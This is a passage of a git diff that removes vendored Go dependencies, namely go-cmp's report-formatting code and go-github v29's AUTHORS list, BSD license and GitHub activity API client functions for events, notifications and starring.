n.appendIndent(append(b, '\n'), d) - b = append(b, bytes.TrimRight(batch, " ")...) - batch = batch[:0] - } - } - for _, r := range s { - line := r.Value.(textLine) - if len(batch)+len(line)+len(", ") > maxColumnLength { - emitBatch() - } - batch = append(batch, line...) - batch = append(batch, ", "...) - } - emitBatch() - n-- - return n.appendIndent(append(b, '\n'), d) - } - - // Format the list as a multi-lined output. - n++ - for i, r := range s { - b = n.appendIndent(append(b, '\n'), d|r.Diff) - if r.Key != "" { - b = append(b, r.Key+": "...) - } - b = alignKeyLens[i].appendChar(b, ' ') - - b = r.Value.formatExpandedTo(b, d|r.Diff, n) - if !r.ElideComma { - b = append(b, ',') - } - b = alignValueLens[i].appendChar(b, ' ') - - if r.Comment != nil { - b = append(b, " // "+r.Comment.String()...) - } - } - n-- - - return n.appendIndent(append(b, '\n'), d) -} - -func (s textList) alignLens( - skipFunc func(textRecord) bool, - lenFunc func(textRecord) int, -) []repeatCount { - var startIdx, endIdx, maxLen int - lens := make([]repeatCount, len(s)) - for i, r := range s { - if skipFunc(r) { - for j := startIdx; j < endIdx && j < len(s); j++ { - lens[j] = repeatCount(maxLen - lenFunc(s[j])) - } - startIdx, endIdx, maxLen = i+1, i+1, 0 - } else { - if maxLen < lenFunc(r) { - maxLen = lenFunc(r) - } - endIdx = i + 1 - } - } - for j := startIdx; j < endIdx && j < len(s); j++ { - lens[j] = repeatCount(maxLen - lenFunc(s[j])) - } - return lens -} - -// textLine is a single-line segment of text and is always a leaf node -// in the textNode tree. -type textLine []byte - -var ( - textNil = textLine("nil") - textEllipsis = textLine("...") -) - -func (s textLine) Len() int { - return len(s) -} -func (s1 textLine) Equal(s2 textNode) bool { - if s2, ok := s2.(textLine); ok { - return bytes.Equal([]byte(s1), []byte(s2)) - } - return false -} -func (s textLine) String() string { - return string(s) -} -func (s textLine) formatCompactTo(b []byte, d diffMode) ([]byte, textNode) { - return append(b, s...), s -} -func (s textLine) formatExpandedTo(b []byte, _ diffMode, _ indentMode) []byte { - return append(b, s...) -} - -type diffStats struct { - Name string - NumIgnored int - NumIdentical int - NumRemoved int - NumInserted int - NumModified int -} - -func (s diffStats) IsZero() bool { - s.Name = "" - return s == diffStats{} -} - -func (s diffStats) NumDiff() int { - return s.NumRemoved + s.NumInserted + s.NumModified -} - -func (s diffStats) Append(ds diffStats) diffStats { - assert(s.Name == ds.Name) - s.NumIgnored += ds.NumIgnored - s.NumIdentical += ds.NumIdentical - s.NumRemoved += ds.NumRemoved - s.NumInserted += ds.NumInserted - s.NumModified += ds.NumModified - return s -} - -// String prints a humanly-readable summary of coalesced records. -// -// Example: -// diffStats{Name: "Field", NumIgnored: 5}.String() => "5 ignored fields" -func (s diffStats) String() string { - var ss []string - var sum int - labels := [...]string{"ignored", "identical", "removed", "inserted", "modified"} - counts := [...]int{s.NumIgnored, s.NumIdentical, s.NumRemoved, s.NumInserted, s.NumModified} - for i, n := range counts { - if n > 0 { - ss = append(ss, fmt.Sprintf("%d %v", n, labels[i])) - } - sum += n - } - - // Pluralize the name (adjusting for some obscure English grammar rules). - name := s.Name - if sum > 1 { - name += "s" - if strings.HasSuffix(name, "ys") { - name = name[:len(name)-2] + "ies" // e.g., "entrys" => "entries" - } - } - - // Format the list according to English grammar (with Oxford comma). - switch n := len(ss); n { - case 0: - return "" - case 1, 2: - return strings.Join(ss, " and ") + " " + name - default: - return strings.Join(ss[:n-1], ", ") + ", and " + ss[n-1] + " " + name - } -} - -type commentString string - -func (s commentString) String() string { return string(s) } diff --git a/vendor/github.com/google/go-cmp/cmp/report_value.go b/vendor/github.com/google/go-cmp/cmp/report_value.go deleted file mode 100644 index 83031a7f50..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/report_value.go +++ /dev/null @@ -1,121 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package cmp - -import "reflect" - -// valueNode represents a single node within a report, which is a -// structured representation of the value tree, containing information -// regarding which nodes are equal or not. -type valueNode struct { - parent *valueNode - - Type reflect.Type - ValueX reflect.Value - ValueY reflect.Value - - // NumSame is the number of leaf nodes that are equal. - // All descendants are equal only if NumDiff is 0. - NumSame int - // NumDiff is the number of leaf nodes that are not equal. - NumDiff int - // NumIgnored is the number of leaf nodes that are ignored. - NumIgnored int - // NumCompared is the number of leaf nodes that were compared - // using an Equal method or Comparer function. - NumCompared int - // NumTransformed is the number of non-leaf nodes that were transformed. - NumTransformed int - // NumChildren is the number of transitive descendants of this node. - // This counts from zero; thus, leaf nodes have no descendants. - NumChildren int - // MaxDepth is the maximum depth of the tree. This counts from zero; - // thus, leaf nodes have a depth of zero. - MaxDepth int - - // Records is a list of struct fields, slice elements, or map entries. - Records []reportRecord // If populated, implies Value is not populated - - // Value is the result of a transformation, pointer indirect, of - // type assertion. - Value *valueNode // If populated, implies Records is not populated - - // TransformerName is the name of the transformer. - TransformerName string // If non-empty, implies Value is populated -} -type reportRecord struct { - Key reflect.Value // Invalid for slice element - Value *valueNode -} - -func (parent *valueNode) PushStep(ps PathStep) (child *valueNode) { - vx, vy := ps.Values() - child = &valueNode{parent: parent, Type: ps.Type(), ValueX: vx, ValueY: vy} - switch s := ps.(type) { - case StructField: - assert(parent.Value == nil) - parent.Records = append(parent.Records, reportRecord{Key: reflect.ValueOf(s.Name()), Value: child}) - case SliceIndex: - assert(parent.Value == nil) - parent.Records = append(parent.Records, reportRecord{Value: child}) - case MapIndex: - assert(parent.Value == nil) - parent.Records = append(parent.Records, reportRecord{Key: s.Key(), Value: child}) - case Indirect: - assert(parent.Value == nil && parent.Records == nil) - parent.Value = child - case TypeAssertion: - assert(parent.Value == nil && parent.Records == nil) - parent.Value = child - case Transform: - assert(parent.Value == nil && parent.Records == nil) - parent.Value = child - parent.TransformerName = s.Name() - parent.NumTransformed++ - default: - assert(parent == nil) // Must be the root step - } - return child -} - -func (r *valueNode) Report(rs Result) { - assert(r.MaxDepth == 0) // May only be called on leaf nodes - - if rs.ByIgnore() { - r.NumIgnored++ - } else { - if rs.Equal() { - r.NumSame++ - } else { - r.NumDiff++ - } - } - assert(r.NumSame+r.NumDiff+r.NumIgnored == 1) - - if rs.ByMethod() { - r.NumCompared++ - } - if rs.ByFunc() { - r.NumCompared++ - } - assert(r.NumCompared <= 1) -} - -func (child *valueNode) PopStep() (parent *valueNode) { - if child.parent == nil { - return nil - } - parent = child.parent - parent.NumSame += child.NumSame - parent.NumDiff += child.NumDiff - parent.NumIgnored += child.NumIgnored - parent.NumCompared += child.NumCompared - parent.NumTransformed += child.NumTransformed - parent.NumChildren += child.NumChildren + 1 - if parent.MaxDepth < child.MaxDepth+1 { - parent.MaxDepth = child.MaxDepth + 1 - } - return parent -} diff --git a/vendor/github.com/google/go-github/v29/AUTHORS b/vendor/github.com/google/go-github/v29/AUTHORS deleted file mode 100644 index 91ef2d84a2..0000000000 --- a/vendor/github.com/google/go-github/v29/AUTHORS +++ /dev/null @@ -1,276 +0,0 @@ -# This is the official list of go-github authors for copyright purposes. -# -# This does not necessarily list everyone who has contributed code, since in -# some cases, their employer may be the copyright holder. To see the full list -# of contributors, see the revision history in source control or -# https://github.com/google/go-github/graphs/contributors. -# -# Authors who wish to be recognized in this file should add themselves (or -# their employer, as appropriate). - -178inaba -413x -Abhinav Gupta -adrienzieba -Ahmed Hagy -Aidan Steele -Ainsley Chong -Akeda Bagus -Akhil Mohan -Alec Thomas -Aleks Clark -Alex Bramley -Alexander Harkness -Allen Sun -Amey Sakhadeo -Andreas GarnÃĻs -Andrew Ryabchun -Andy Grunwald -Andy Hume -Andy Lindeman -anjanashenoy -Anshuman Bhartiya -Antoine -Antoine Pelisse -Anubha Kushwaha -appilon -Aravind -Arda Kuyumcu -ArÄąl Bozoluk -Austin Dizzy -Ben Batha -Benjamen Keroack -Beshr Kayali -Beyang Liu -Billy Lynch -BjÃļrn Häuser -Brad Harris -Brad Moylan -Bradley Falzon -Brandon Cook -Brian Egizi -Bryan Boreham -Cami Diez -Carlos Alexandro Becker -Carlos Tadeu Panato Junior -chandresh-pancholi -Charles Fenwick Elliott -Charlie Yan -Chris King -Chris Raborg -Chris Roche -Chris Schaefer -chrisforrette -Christian Muehlhaeuser -Christoph Sassenberg -Colin Misare -Craig Peterson -Cristian Maglie -Daehyeok Mun -Daniel Leavitt -Daniel Nilsson -Daoq -Dave Du Cros -Dave Henderson -Dave Protasowski -David Deng -David Jannotta -David Ji -David Lopez Reyes -Davide Zipeto -Dennis Webb -Dhi Aurrahman -Diego Lapiduz -Dmitri Shuralyov -dmnlk -Don Petersen -Doug Turner -Drew Fradette -Eivind -Eli Uriegas -Elliott Beach -Emerson Wood -eperm -Erick Fejta -erwinvaneyk -Evan Elias -Fabrice -Felix GeisendÃļrfer -Filippo Valsorda -Florian Forster -Francesc Gil -Francis -Francisco GuimarÃŖes -Fredrik JÃļnsson -Garrett Squire -George Kontridze -Georgy Buranov -Glen Mailer -Gnahz -Google Inc. -Grachev Mikhail -griffin_stewie -Guillaume Jacquet -Guz Alexander -Guðmundur Bjarni Ólafsson -Hanno Hecker -Hari haran -haya14busa -haya14busa -Huy Tr -huydx -i2bskn -Ioannis Georgoulas -Isao Jonas -isqua -Jameel Haffejee -James Cockbain -Jan Kosecki -Javier Campanini -Jens Rantil -Jeremy Morris -Jesse Newland -Jihoon Chung -Jimmi Dyson -Joan Saum -Joe Tsai -John Barton -John Engelman -Jordan Brockopp -Jordan Sussman -Joshua Bezaleel Abednego -JP Phillips -jpbelanger-mtl -Juan Basso -Julien Garcia Gonzalez -Julien Rostand -Junya Kono -Justin Abrahms -Jusung Lee -jzhoucliqr -Katrina Owen -Kautilya Tripathi < tripathi.kautilya@gmail.com> -Kautilya Tripathi -Keita Urashima -Kevin Burke -Konrad Malawski -Kookheon Kwon -Krzysztof Kowalczyk -Kshitij Saraogi -kyokomi -Laurent Verdoïa -Liam Galvin -Lovro MaÅžgon -Lucas Alcantara -Luke Evers -Luke Kysow -Luke Roberts -Luke Young -Maksim Zhylinski -Mark Tareshawty -Martin-Louis Bright -Marwan Sulaiman -Masayuki Izumi -Mat Geist -Matt -Matt Brender -Matt Gaunt -Matt Landis -Maxime Bury -Michael Spiegel -Michael Tiller -Michał Glapa -Nadav Kaner -Nathan VanBenschoten -Navaneeth Suresh -Neil O'Toole -Nick Miyake -Nick Spragg -Nikhita Raghunath -Noah Zoschke -ns-cweber -Oleg Kovalov -Ole Orhagen -Ondřej Kupka -Palash Nigam -Panagiotis Moustafellos -Parham Alvani -Parker Moore -parkhyukjun89 -Pavel Shtanko -Pete Wagner -Petr Shevtsov -Pierre Carrier -Piotr Zurek -Quang Le Hong -Quentin Leffray -Quinn Slack -Rackspace US, Inc. -Radek Simko -Radliński Ignacy -Rajat Jindal -Rajendra arora -Ranbir Singh -RaviTeja Pothana -rc1140 -Red Hat, Inc. -Ricco Førgaard -Rob Figueiredo -Rohit Upadhyay -Ronak Jain -Ruben Vereecken -Ryan Leung -Ryan Lower -Safwan Olaimat -Sahil Dua -saisi -Sam MinnÊe -Sandeep Sukhani -Sander Knape -Sander van Harmelen -Sanket Payghan -Sarasa Kisaragi -Sean Wang -Sebastian Mandrean -Sebastian MÃĻland Pedersen -Sergey Romanov -Sergio Garcia -Sevki -Shagun Khemka -shakeelrao -Shawn Catanzarite -Shawn Smith -Shibasis Patel -Shrikrishna Singh -sona-tar -SoundCloud, Ltd. -Sridhar Mocherla -SriVignessh Pss -Stian Eikeland -Suhaib Mujahid -Szymon Kodrebski -Takayuki Watanabe -Taketoshi Fujiwara -Tasya Aditya Rukmana -Thomas Bruyelle -TimothÊe Peignier -tkhandel -Trey Tacon -ttacon -Vaibhav Singh -Varadarajan Aravamudhan -Victor Castell -Victor Vrantchan -Vlad Ungureanu -Wasim Thabraze -Will Maier -Willem D'Haeseleer -William Bailey -William Cooke -xibz -Yann Malet -Yannick Utard -Yicheng Qin -Yosuke Akatsuka -Yumikiyo Osanai -Zach Latta diff --git a/vendor/github.com/google/go-github/v29/LICENSE b/vendor/github.com/google/go-github/v29/LICENSE deleted file mode 100644 index 28b6486f0b..0000000000 --- a/vendor/github.com/google/go-github/v29/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2013 The go-github AUTHORS. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/google/go-github/v29/github/activity.go b/vendor/github.com/google/go-github/v29/github/activity.go deleted file mode 100644 index d6c992c7f5..0000000000 --- a/vendor/github.com/google/go-github/v29/github/activity.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import "context" - -// ActivityService handles communication with the activity related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/activity/ -type ActivityService service - -// FeedLink represents a link to a related resource. -type FeedLink struct { - HRef *string `json:"href,omitempty"` - Type *string `json:"type,omitempty"` -} - -// Feeds represents timeline resources in Atom format. -type Feeds struct { - TimelineURL *string `json:"timeline_url,omitempty"` - UserURL *string `json:"user_url,omitempty"` - CurrentUserPublicURL *string `json:"current_user_public_url,omitempty"` - CurrentUserURL *string `json:"current_user_url,omitempty"` - CurrentUserActorURL *string `json:"current_user_actor_url,omitempty"` - CurrentUserOrganizationURL *string `json:"current_user_organization_url,omitempty"` - CurrentUserOrganizationURLs []string `json:"current_user_organization_urls,omitempty"` - Links *struct { - Timeline *FeedLink `json:"timeline,omitempty"` - User *FeedLink `json:"user,omitempty"` - CurrentUserPublic *FeedLink `json:"current_user_public,omitempty"` - CurrentUser *FeedLink `json:"current_user,omitempty"` - CurrentUserActor *FeedLink `json:"current_user_actor,omitempty"` - CurrentUserOrganization *FeedLink `json:"current_user_organization,omitempty"` - CurrentUserOrganizations []FeedLink `json:"current_user_organizations,omitempty"` - } `json:"_links,omitempty"` -} - -// ListFeeds lists all the feeds available to the authenticated user. -// -// GitHub provides several timeline resources in Atom format: -// Timeline: The GitHub global public timeline -// User: The public timeline for any user, using URI template -// Current user public: The public timeline for the authenticated user -// Current user: The private timeline for the authenticated user -// Current user actor: The private timeline for activity created by the -// authenticated user -// Current user organizations: The private timeline for the organizations -// the authenticated user is a member of. -// -// Note: Private feeds are only returned when authenticating via Basic Auth -// since current feed URIs use the older, non revocable auth tokens. -func (s *ActivityService) ListFeeds(ctx context.Context) (*Feeds, *Response, error) { - req, err := s.client.NewRequest("GET", "feeds", nil) - if err != nil { - return nil, nil, err - } - - f := &Feeds{} - resp, err := s.client.Do(ctx, req, f) - if err != nil { - return nil, resp, err - } - - return f, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/activity_events.go b/vendor/github.com/google/go-github/v29/github/activity_events.go deleted file mode 100644 index 1754b78e9d..0000000000 --- a/vendor/github.com/google/go-github/v29/github/activity_events.go +++ /dev/null @@ -1,215 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ListEvents drinks from the firehose of all public events across GitHub. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events -func (s *ActivityService) ListEvents(ctx context.Context, opt *ListOptions) ([]*Event, *Response, error) { - u, err := addOptions("events", opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListRepositoryEvents lists events for a repository. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-repository-events -func (s *ActivityService) ListRepositoryEvents(ctx context.Context, owner, repo string, opt *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/events", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListIssueEventsForRepository lists issue events for a repository. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-issue-events-for-a-repository -func (s *ActivityService) ListIssueEventsForRepository(ctx context.Context, owner, repo string, opt *ListOptions) ([]*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/events", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*IssueEvent - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsForRepoNetwork lists public events for a network of repositories. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events-for-a-network-of-repositories -func (s *ActivityService) ListEventsForRepoNetwork(ctx context.Context, owner, repo string, opt *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("networks/%v/%v/events", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsForOrganization lists public events for an organization. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events-for-an-organization -func (s *ActivityService) ListEventsForOrganization(ctx context.Context, org string, opt *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("orgs/%v/events", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsPerformedByUser lists the events performed by a user. If publicOnly is -// true, only public events will be returned. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-events-performed-by-a-user -func (s *ActivityService) ListEventsPerformedByUser(ctx context.Context, user string, publicOnly bool, opt *ListOptions) ([]*Event, *Response, error) { - var u string - if publicOnly { - u = fmt.Sprintf("users/%v/events/public", user) - } else { - u = fmt.Sprintf("users/%v/events", user) - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsReceivedByUser lists the events received by a user. If publicOnly is -// true, only public events will be returned. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-events-that-a-user-has-received -func (s *ActivityService) ListEventsReceivedByUser(ctx context.Context, user string, publicOnly bool, opt *ListOptions) ([]*Event, *Response, error) { - var u string - if publicOnly { - u = fmt.Sprintf("users/%v/received_events/public", user) - } else { - u = fmt.Sprintf("users/%v/received_events", user) - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListUserEventsForOrganization provides the user’s organization dashboard. You -// must be authenticated as the user to view this. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-events-for-an-organization -func (s *ActivityService) ListUserEventsForOrganization(ctx context.Context, org, user string, opt *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("users/%v/events/orgs/%v", user, org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/activity_notifications.go b/vendor/github.com/google/go-github/v29/github/activity_notifications.go deleted file mode 100644 index 45c8b2aece..0000000000 --- a/vendor/github.com/google/go-github/v29/github/activity_notifications.go +++ /dev/null @@ -1,223 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// Notification identifies a GitHub notification for a user. -type Notification struct { - ID *string `json:"id,omitempty"` - Repository *Repository `json:"repository,omitempty"` - Subject *NotificationSubject `json:"subject,omitempty"` - - // Reason identifies the event that triggered the notification. - // - // GitHub API docs: https://developer.github.com/v3/activity/notifications/#notification-reasons - Reason *string `json:"reason,omitempty"` - - Unread *bool `json:"unread,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - LastReadAt *time.Time `json:"last_read_at,omitempty"` - URL *string `json:"url,omitempty"` -} - -// NotificationSubject identifies the subject of a notification. -type NotificationSubject struct { - Title *string `json:"title,omitempty"` - URL *string `json:"url,omitempty"` - LatestCommentURL *string `json:"latest_comment_url,omitempty"` - Type *string `json:"type,omitempty"` -} - -// NotificationListOptions specifies the optional parameters to the -// ActivityService.ListNotifications method. -type NotificationListOptions struct { - All bool `url:"all,omitempty"` - Participating bool `url:"participating,omitempty"` - Since time.Time `url:"since,omitempty"` - Before time.Time `url:"before,omitempty"` - - ListOptions -} - -// ListNotifications lists all notifications for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#list-your-notifications -func (s *ActivityService) ListNotifications(ctx context.Context, opt *NotificationListOptions) ([]*Notification, *Response, error) { - u := fmt.Sprintf("notifications") - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var notifications []*Notification - resp, err := s.client.Do(ctx, req, ¬ifications) - if err != nil { - return nil, resp, err - } - - return notifications, resp, nil -} - -// ListRepositoryNotifications lists all notifications in a given repository -// for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#list-your-notifications-in-a-repository -func (s *ActivityService) ListRepositoryNotifications(ctx context.Context, owner, repo string, opt *NotificationListOptions) ([]*Notification, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/notifications", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var notifications []*Notification - resp, err := s.client.Do(ctx, req, ¬ifications) - if err != nil { - return nil, resp, err - } - - return notifications, resp, nil -} - -type markReadOptions struct { - LastReadAt time.Time `json:"last_read_at,omitempty"` -} - -// MarkNotificationsRead marks all notifications up to lastRead as read. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#mark-as-read -func (s *ActivityService) MarkNotificationsRead(ctx context.Context, lastRead time.Time) (*Response, error) { - opts := &markReadOptions{ - LastReadAt: lastRead, - } - req, err := s.client.NewRequest("PUT", "notifications", opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// MarkRepositoryNotificationsRead marks all notifications up to lastRead in -// the specified repository as read. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#mark-notifications-as-read-in-a-repository -func (s *ActivityService) MarkRepositoryNotificationsRead(ctx context.Context, owner, repo string, lastRead time.Time) (*Response, error) { - opts := &markReadOptions{ - LastReadAt: lastRead, - } - u := fmt.Sprintf("repos/%v/%v/notifications", owner, repo) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// GetThread gets the specified notification thread. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#view-a-single-thread -func (s *ActivityService) GetThread(ctx context.Context, id string) (*Notification, *Response, error) { - u := fmt.Sprintf("notifications/threads/%v", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - notification := new(Notification) - resp, err := s.client.Do(ctx, req, notification) - if err != nil { - return nil, resp, err - } - - return notification, resp, nil -} - -// MarkThreadRead marks the specified thread as read. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#mark-a-thread-as-read -func (s *ActivityService) MarkThreadRead(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("notifications/threads/%v", id) - - req, err := s.client.NewRequest("PATCH", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// GetThreadSubscription checks to see if the authenticated user is subscribed -// to a thread. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#get-a-thread-subscription -func (s *ActivityService) GetThreadSubscription(ctx context.Context, id string) (*Subscription, *Response, error) { - u := fmt.Sprintf("notifications/threads/%v/subscription", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - return nil, resp, err - } - - return sub, resp, nil -} - -// SetThreadSubscription sets the subscription for the specified thread for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#set-a-thread-subscription -func (s *ActivityService) SetThreadSubscription(ctx context.Context, id string, subscription *Subscription) (*Subscription, *Response, error) { - u := fmt.Sprintf("notifications/threads/%v/subscription", id) - - req, err := s.client.NewRequest("PUT", u, subscription) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - return nil, resp, err - } - - return sub, resp, nil -} - -// DeleteThreadSubscription deletes the subscription for the specified thread -// for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#delete-a-thread-subscription -func (s *ActivityService) DeleteThreadSubscription(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("notifications/threads/%v/subscription", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/activity_star.go b/vendor/github.com/google/go-github/v29/github/activity_star.go deleted file mode 100644 index 5ae5c10165..0000000000 --- a/vendor/github.com/google/go-github/v29/github/activity_star.go +++ /dev/null @@ -1,137 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" -) - -// StarredRepository is returned by ListStarred. -type StarredRepository struct { - StarredAt *Timestamp `json:"starred_at,omitempty"` - Repository *Repository `json:"repo,omitempty"` -} - -// Stargazer represents a user that has starred a repository. -type Stargazer struct { - StarredAt *Timestamp `json:"starred_at,omitempty"` - User *User `json:"user,omitempty"` -} - -// ListStargazers lists people who have starred the specified repo. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#list-stargazers -func (s *ActivityService) ListStargazers(ctx context.Context, owner, repo string, opt *ListOptions) ([]*Stargazer, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/stargazers", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeStarringPreview) - - var stargazers []*Stargazer - resp, err := s.client.Do(ctx, req, &stargazers) - if err != nil { - return nil, resp, err - } - - return stargazers, resp, nil -} - -// ActivityListStarredOptions specifies the optional parameters to the -// ActivityService.ListStarred method. -type ActivityListStarredOptions struct { - // How to sort the repository list. Possible values are: created, updated, - // pushed, full_name. Default is "full_name". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort repositories. Possible values are: asc, desc. - // Default is "asc" when sort is "full_name", otherwise default is "desc". - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListStarred lists all the repos starred by a user. Passing the empty string -// will list the starred repositories for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#list-repositories-being-starred -func (s *ActivityService) ListStarred(ctx context.Context, user string, opt *ActivityListStarredOptions) ([]*StarredRepository, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/starred", user) - } else { - u = "user/starred" - } - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when APIs fully launch - 